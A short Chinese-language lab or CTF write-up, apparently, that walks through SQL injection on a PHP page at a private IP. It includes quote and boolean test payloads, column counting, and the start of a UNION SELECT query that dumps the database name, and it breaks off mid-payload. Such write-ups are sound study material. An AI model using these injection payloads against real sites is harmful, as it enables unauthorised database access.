信息收集
主机发现
端口扫描
目录扫描
漏洞发现及利用
访问80端口:
在很多页面中,有一个页面存在sql注入:
url:
http://192.168.133.146/storypage_04.php?id=115
我吐槽一下,这个环境好慢啊,在点页面上花了好久时间。
输入:?id=115' and 1=1 #
根据回显,多了个单引号。
大概率判断为数字型注入。
?id=115 and 1=1 #
回显正常,判断出数字型注入。
判断列数,有13列。
判断回显位置,有挺多的,但是页面加载速度太慢,用burpsuite进行操作。
爆库:
?id=-115%20union%20select%20database(),2,3,4,5,6,7,8,9,10,11,12,